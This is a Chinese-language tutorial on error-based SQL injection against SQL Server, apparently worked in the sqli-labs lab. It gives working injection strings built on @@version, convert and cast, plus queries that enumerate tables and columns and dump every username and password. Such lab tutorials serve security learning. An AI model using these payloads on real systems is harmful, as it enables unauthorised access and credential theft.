我们知道SQL Server是由微软开发,很优秀的数据库,可以精确地定位错误消息,这点对开发人员非常友好,特别是对于web安全工作者来说,利用SQL Server报错的信息对目标系统有效进行渗透测试。
报错注入的使用场景学习MYSQL注入时已经说过,这里就不再赘述,在Less-5中输入id=1' and 1=(@@version)--+ 进行数据库报错:
数据库在执行sql语句时,会把1=(@@version)语句中括号里的内容当做int类型的数字来处理,但@@version本身是nvarchar类型的字符串,SQL Server在将ncarchar转换为init类型会失败并报错。
SQL Server报错注入原理就是利用数据类型转换报错。把字符型转换为数字型,但表现形式仍然为字符,导致数据库无法识别产生报错,同时在报错的过程中也会把sql语句查询的信息展示出来,例如上图中就把查询到的数据库版本信息结合报错信息回显到页面了。
再举个栗子,通过报错注入查询当前数据库下所有的表名,可以构造SQL语句:
id=1' and 1=(select top 1 table_name from information_schema.tables)--+
注意,由于括号前面有=号,并且select语句查询出来的结果不止一个,因此需要结合top语句把查询结果限制为一个,通过报错方式把结果展示到web页面,然后使用top n语句依次把后面的表名查询出来。
也可以使用for xml path和quotename语句把结果显示为一行,构造sql语句:
select quotename(table_name) from information_schema.tables for xml path('')
查询数据库表users的所有列名:
select quotename(column_name) from information_schema.columns where table_name='users' for xml path('')
查询数据库表users表的所有用户名和密码:
select username,':',password,'|' from users for xml path('')
通常页面由于字数显示,可能无法把所有用户名和密码显示完毕,可以通过substring函数把查询的结果分段进行显示,从第一个字符开始,显示250个字符:
select substring((select username,':',password,'|' from users for xml path('')),1,250)
SQL Server数据库的substring函数用法和MYSQL的用法是一样的。
查询users表的所有数据信息:
基于convert函数和cast函数的报错注入。
convert函数是把时间定义一个数据类型(格式),函数形式:
convert(data_type(length),data_to_be_converted,style)
convert函数的参数说明:
data_type(length):表示定义数据类型,length代表可选长度
data_to_be_converted:表示时间,也就是需要转换的值
style:表示规定时间/日期的输出格式
convert函数用法:
varchar(20)表示定义时间为varchar的数据类型,长度为20,getdate函数是用于获取当前的时间,111则代表时间以年/月/日(即2020/07/11)的格式进行输出。
如果在convert函数中将查询到的数据库名转换为int类型时就会报错(例如这样的sql语句:select CONVERT(int , db_name() , 111)),并且会把查询到的数据库名也给暴露出来。
基于convert函数的报错注入:
id=1' and 1=convert(int,db_name(),111) --+
对于以上sql语句来说,convert函数会将第二个参数db_name()执行后的结果尝试转换为int类型,但由于db_name()返回的结果是nvarchar类型的,sql server无法将nvarchar类型转换为指定的int类型,因此convert函数会进行报错提示,同时会将第二个参数指定的sql语句所查询出的结果连同错误信息一起爆出来
cast函数是将某种数据类型转换为另一种数据类型,函数形式:
cast(expression as data_type)
cast参数说明:
expression :任何有效的sql server表达式
as: 用于分割两个参数,as之前的参数(expression)是要处理的数据,as之后的参数(data_type)是要转换的数据类型
data_type: 目标系统所提供的数据类型,包括bigint和sql_varlant,不能使用用户定义的数据类型
cast函数用法如下:
上面的SQL语句中就是讲123456这个数据转换成int类型。
如果使用cast函数将查询到的数据库名转换成int类型就会报错,并在报错的同时会把查询到的数据库名security暴露出来。
基于cast函数的报错注入:
id=1' and 1=cast(host_name() as int) --+
从系统视图数据表sysobjects中获取表名时可跳过查询库名,直接查询当前用户数据库下的所有表名,构造sql语句:
select quotename(name) from sysobjects where xtype='u' for xml path('')
查询列名,sql语句如下:
select quotename(name) from syscolumns where id=(select id from sysobjects where name='users' and xtype='u') for xml path('')
查询users表中的所有数据,sql语句如下:
select substring((select username,':',password,'|' from users for xml path('')),1,250)
除了用substring函数可以分段显示用户名和密码之外,还可以使用排除法依次显示用户名和密码。